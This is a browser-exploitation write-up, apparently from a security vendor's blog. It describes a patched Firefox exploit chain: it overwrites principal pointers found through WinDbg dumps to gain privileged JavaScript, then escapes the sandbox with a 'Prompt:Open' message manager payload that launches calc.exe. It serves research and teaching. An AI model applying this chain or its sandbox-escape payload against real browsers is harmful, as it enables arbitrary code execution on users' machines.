By Arthur Gerkis and David Barksdale

This series of posts makes public some old Firefox research which our Zero-Day customers had access to before it was known publicly, and then our N-Day customers after it was patched. We’ve also used this research to teach browser exploitation in our Vuln-Dev Master Class.

In the previous post we analyzed an integer underflow in part of Firefox’s WebAssembly code and used it to read and write memory in the sandboxed content process. In this post we will use this to execute arbitrary code in the content process, and finally escape the sandbox to the broker process and execute calc.exe.

Executing Privileged JavaScript

Here we will discuss a technique for executing privileged JavaScript by making use of the ability to read and write memory. An overview of the script security architecture of Firefox can be found here. There is a JavaScript object specific only to Firefox-based browsers called Components. Normal content pages run with the content principal and have a limited version of this object. Pages with the system principal have full access to the object and can use it to access native XPCOM objects. The goal is to gain access to a privileged Components object using the following steps:

  1. find and leak the address of the system principal;
  2. find and override the actual document compartment principal with the system principal; this gives the ability to access properties of privileged objects;
  3. find and override an iframe principal with the system principal; this allows us to load privileged pages into an actual iframe;
  4. load a privileged page into an iframe and access its Components.

Finding the System Principal

We first find the base address of xul.dll using an address of a TypedArray object we discovered previously. At offset 0xC into this object is a pointer into the xul.dll module. All modules are loaded on a 0x10000 byte boundary and contain the Portable Executable signature ‘MZ’ as the first 16-bit word. We simply start searching backwards in memory from our pointer into xul.dll on said boundary for the signature.

Once we’ve found xul.dll in memory we can parse its export tables to look for various symbols within the module. The first symbol we look for is nsLayoutModule_NSModule. This is a structure which contains a useful pointer, it is shown below.

0:033> ln xul + 0x1e25620
(55265620)   xul!nsLayoutModule_NSModule   |  (55265624)   xul!docshell_provider_NSModule
Exact matches:
    xul!nsLayoutModule_NSModule = 0x557f3b58

0:033> dt xul!nsLayoutModule_NSModule
0x557f3b58 
   +0x000 mVersion         : 0x34
   +0x004 mCIDs            : 0x557f3270 mozilla::Module::CIDEntry
   +0x008 mContractIDs     : 0x557f2650 mozilla::Module::ContractIDEntry
   +0x00c mCategoryEntries : 0x557f3008 mozilla::Module::CategoryEntry
   +0x010 getFactoryProc   : (null) 
   +0x014 loadProc         : 0x539ef4f9     nsresult  xul!Initialize+0
   +0x018 unloadProc       : 0x5358734f     void  xul!LayoutModuleDtor+0
   +0x01c selector         : 4 ( ALLOW_IN_GPU_PROCESS )

We follow the loadProc pointer to the function Initialize, which is shown below.

xul!Initialize [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\layout\build\nslayoutmodule.cpp @ 353]:
539ef4f9 803d94179d5500  cmp     byte ptr [xul!gInitialized (559d1794)],0
539ef500 0f85bdc73500    jne     xul!Initialize+0x35c7ca (53d4bcc3)
539ef506 833dc01e9f5505  cmp     dword ptr [xul!mozilla::startup::sChildProcessType (559f1ec0)],5
539ef50d 7420            je      xul!Initialize+0x36 (539ef52f)
539ef50f 56              push    esi
539ef510 c60594179d5501  mov     byte ptr [xul!gInitialized (559d1794)],1
539ef517 e80613f6ff      call    xul!nsXPConnect::InitStatics (53950822)
539ef51c e811000000      call    xul!nsLayoutStatics::Initialize (539ef532)

We disassemble this function and follow the call to nsXPConnect::InitStatics, which is shown below.

xul!operator new [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\xpconnect\src\nsxpconnect.cpp @ 109] 
[inlined in xul!nsXPConnect::InitStatics [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\xpconnect\src\nsxpconnect.cpp @ 109]]:
53950822 6a10            push    10h
53950824 ff15cc432655    call    dword ptr [xul!_imp__moz_xmalloc (552643cc)]
5395082a 59              pop     ecx
5395082b 85c0            test    eax,eax
5395082d 0f84d8b43c00    je      xul!nsXPConnect::InitStatics+0x3cb4e9 (53d1bd0b)
53950833 8bc8            mov     ecx,eax
53950835 e824180000      call    xul!nsXPConnect::nsXPConnect (5395205e)
5395083a 83780800        cmp     dword ptr [eax+8],0
5395083e 56              push    esi
5395083f a33cd79c55      mov     dword ptr [xul!nsXPConnect::gSelf (559cd73c)],eax
53950844 be18dd4055      mov     esi,offset xul!`string' (5540dd18)
53950849 0f84c3b43c00    je      xul!nsXPConnect::InitStatics+0x3cb4f0 (53d1bd12)
5395084f 50              push    eax
53950850 e87531b5ff      call    xul!mozilla::widget::myDownloadObserver::AddRef (534a39ca)
53950855 e8b26af0ff      call    xul!nsScriptSecurityManager::InitStatics (5385730c)
5395085a a1645c9d55      mov     eax,dword ptr [xul!gScriptSecMan (559d5c64)]
5395085f 6810d79c55      push    offset xul!nsXPConnect::gSystemPrincipal (559cd710)
53950864 50              push    eax
53950865 a340d79c55      mov     dword ptr [xul!nsXPConnect::gScriptSecurityManager (559cd740)],eax
5395086a 8b08            mov     ecx,dword ptr [eax]
5395086c ff5124          call    dword ptr [ecx+24h]
5395086f 833d10d79c5500  cmp     dword ptr [xul!nsXPConnect::gSystemPrincipal (559cd710)],0

We disassemble this function and find the address of nsXPConnect::gSystemPrincipal, the keys to Dad’s car.

Finding and Overriding the Document Compartment Principal

The compartment principal we want to override can be found using an iframe we previously sprayed onto the heap. To find the location of the principal we start with the JSObject containing the iframe and follow the path of pointers until we find the relevant JSCompartment object, as shown below.

0:033> ddp 067bbc40 L14/4
067bbc40  0df34a48 5596b084 xul!mozilla::dom::HTMLIFrameElementBinding::sClass
067bbc44  0df48bf8 0df352c8
067bbc48  00000000
067bbc4c  552701c8 55529c74 xul!js_Object_str
067bbc50  0dde6780 5535b7b0 xul!mozilla::dom::HTMLIFrameElement::`vftable'

0:033> dt 0dde6780 xul!mozilla::dom::HTMLIFrameElement
   +0x000 __VFN_table : 0x5535b7b0 
   +0x004 __VFN_table : 0x55271f84 
   +0x008 mWrapper         : 0x067bbc40 JSObject
   +0x00c mFlags           : 0x100004
   +0x010 mNodeInfo        : RefPtr<mozilla::dom::NodeInfo>
   +0x014 mParent          : 0x11872ce0 nsINode
   +0x018 mBoolFlags       : 0x2000e
[skip]

0:033> dd 0x067bbc40 L1
067bbc40  0df34a48

0:033> dt 0df34a48 js::ObjectGroup
xul!js::ObjectGroup
   +0x000 clasp_           : 0x5596b084 js::Class
   +0x004 proto_           : js::GCPtr<js::TaggedProto>
   +0x008 compartment_     : 0x1183ac00 JSCompartment
   +0x00c flags_           : 0
   +0x010 addendum_        : (null) 
   +0x014 propertySet      : (null) 

0:033> dt 0x1183ac00 JSCompartment
xul!JSCompartment
   +0x000 creationOptions_ : JS::CompartmentCreationOptions
   +0x014 behaviors_       : JS::CompartmentBehaviors
   +0x024 zone_            : 0x06b46800 JS::Zone
   +0x028 runtime_         : 0x04b86108 JSRuntime
   +0x02c principals_      : 0x04b8e444 JSPrincipals
   +0x030 isSystem_        : 0
[skip]

We write the value of the previously found system principal to offset 0x2C into this JSCompartment object.

Finding and Overriding the mOwnerManager Principal

Loading a privileged page into our iframe requires overriding the mOwnerManager principal of the iframe. This is found via similar path of pointers starting from the HTMLIFrameElement object found above.

0:033> dt 0dde6780 xul!mozilla::dom::HTMLIFrameElement
   +0x000 __VFN_table : 0x5535b7b0 
   +0x004 __VFN_table : 0x55271f84 
   +0x008 mWrapper         : 0x067bbc40 JSObject
   +0x00c mFlags           : 0x100004
   +0x010 mNodeInfo        : RefPtr<mozilla::dom::NodeInfo>
   +0x014 mParent          : 0x11872ce0 nsINode
   +0x018 mBoolFlags       : 0x2000e
[skip]

0:033> dd 0dde6780 
0dde6780  5535b7b0 55271f84 067bbc40 00100004
0dde6790  118c5100 11872ce0 0002000e 00000000
0dde67a0  06cd59c0 00000000 118fc800 0cb0f940
0dde67b0  00000014 04bd2f00 00020000 00000400
0dde67c0  5535b5bc e5e5e5e5 5535b59c 5535b590
0dde67d0  00000000 559e3364 5535b558 0cb0f820
0dde67e0  00000000 00000000 e5e5e500 e5e5e5e5
0dde67f0  5535b4e8 e5e5e5e5 e5e5e5e5 e5e5e5e5

0:033> dt 0x118c5100 mozilla::dom::NodeInfo
xul!mozilla::dom::NodeInfo
   +0x000 mRefCnt          : nsCycleCollectingAutoRefCnt
   =5597ee68 _cycleCollectorGlobal : mozilla::dom::NodeInfo::cycleCollection
   +0x004 mDocument        : 0x1154a800 nsIDocument
   +0x008 mInner           : mozilla::dom::NodeInfo::NodeInfoInner
   +0x020 mOwnerManager    : RefPtr<nsNodeInfoManager>
   +0x024 mQualifiedName   : nsString
   +0x030 mNodeName        : nsString
   +0x03c mLocalName       : nsString

0:033> dd 0x118c5100 
118c5100  00000004 1154a800 062c6160 00000000
118c5110  00000003 e5e50001 00000000 00000000
118c5120  06cc0130 5599a914 00000006 00000005
118c5130  118c6088 00000006 00000005 5599a914
118c5140  00000006 00000005 e5e5e5e5 e5e5e5e5
118c5150  0dc91550 00000000 00000000 00000000
118c5160  00000000 00000000 00000000 00000000
118c5170  00000000 00000000 00000000 00000000

0:033> dt 06cc0130 nsNodeInfoManager
xul!nsNodeInfoManager
   =5597efc0 _cycleCollectorGlobal : nsNodeInfoManager::cycleCollection
   +0x000 mRefCnt          : nsCycleCollectingAutoRefCnt
   +0x004 mNodeInfoHash    : 0x0db8d780 PLHashTable
   +0x008 mDocument        : 0x1154a800 nsIDocument
   +0x00c mNonDocumentNodeInfos : 0x12
   +0x010 mPrincipal       : nsCOMPtr<nsIPrincipal>
   +0x014 mDefaultPrincipal : nsCOMPtr<nsIPrincipal>
   +0x018 mTextNodeInfo    : 0x11872ab0 mozilla::dom::NodeInfo
   +0x01c mCommentNodeInfo : (null) 
   +0x020 mDocumentNodeInfo : 0x11872600 mozilla::dom::NodeInfo
   +0x024 mBindingManager  : RefPtr<nsBindingManager>
[skip]

We then write the value of the previously found system principal to offset 0x10 into this nsNodeInfoManager object.

Accessing Privileged JavaScript

Now we can load the privileged page about:newtab into our iframe and access the Components object with the JavaScript below.

iframe.src = 'about:newtab';
iframe.onload = function() {
    privilegedWindow = iframe.contentWindow;
    // Components object accessible via privilegedWindow.Components
};

Escaping the Content Process Sandbox

Here we describe a technique to execute privileged JavaScript in the broker process via Inter-process Communication from the content process. This technique was patched by a change intended to mitigate prompt spoofing by introducing a new type of prompt displayed by the broker process.

The content and broker processes communicate with each other via inter-process communication. While this is implemented and used by the C/C++ code, for Firefox there is an additional communication channel which is used by privileged JavaScript. It’s called the Message Manager and is responsible for passing messages between various windows.

The Message Manager was introduced long before the introduction of the sandbox, but the main goal was to support the legacy methods of interaction between the chrome and content while moving from single to multiple process architecture.

One such interaction is called RemotePrompt, shown below.

var RemotePrompt = {
  init: function() {
    let mm = Cc["@mozilla.org/globalmessagemanager;1"].getService(Ci.nsIMessageListenerManager);
    mm.addMessageListener("Prompt:Open", this);
  },

  receiveMessage: function(message) {
    switch (message.name) {
      case "Prompt:Open":
        if (message.data.uri) {
          this.openModalWindow(message.data, message.target);
        } else {
          this.openTabPrompt(message.data, message.target)
        }
        break;
    }
  },
[skip]
  openModalWindow: function(args, browser) {
    let window = browser.ownerGlobal;
    try {
      PromptUtils.fireDialogEvent(window, "DOMWillOpenModalDialog", browser);
      let bag = PromptUtils.objectToPropBag(args);

      Services.ww.openWindow(window, args.uri, "_blank",
                             "centerscreen,chrome,modal,titlebar", bag);

      PromptUtils.propBagToObject(bag, args);
    } finally {
      PromptUtils.fireDialogEvent(window, "DOMModalDialogClosed", browser);
      browser.messageManager.sendAsyncMessage("Prompt:Close", args);
    }
  }

The function receiveMessage() receives all incoming messages and handles only ones with the name Prompt:Open, and depending on the presence of the uri argument decides where to pass execution. If the argument is present, the function openModalWindow() will execute and create a new window in the broker process with the URI provided in the arguments. The newly created window has the system principal. By passing a data URI as the argument, arbitrary JavaScript code will be loaded and executed in the broker process.

Below is an example of this technique that will launch calc.exe from the broker process.

function executePayload(privilegedWindow) {
  var payload = [];
  // This is something to execute within privileged JavaScript. For example, 
  // in current case a calc.exe is executed with Medium Integrity Level.
  payload.push('var { interfaces: Ci, utils: Cu, classes: Cc } = Components;');
  payload.push('localFile = Cc["@mozilla.org/file/local;1"].createInstance(Ci.nsILocalFile);');
  payload.push('process = Cc["@mozilla.org/process/util;1"].createInstance(Ci.nsIProcess);');
  payload.push('args = [];');
  payload.push('localFile.initWithPath("C:\\\\WINDOWS\\\\system32\\\\calc.exe");');
  payload.push('process.init(localFile);');
  payload.push('process.run(false, args, args.length);');

  // This will get a ContentFrameMessageManager
  var cfmm = privilegedWindow.QueryInterface(Ci.nsIInterfaceRequestor).
    getInterface(Ci.nsIDocShell).
    QueryInterface(Ci.nsIInterfaceRequestor).
    getInterface(Ci.nsIContentFrameMessageManager);
  // This sends a message through the message manager to the broker process
  cfmm.sendAsyncMessage('Prompt:Open', { uri: 'data:text/html,<script>' + payload.join('') + '; close();</script>' });
}

The entire exploit chain is demonstrated in the video below.

Demo popping calc.exe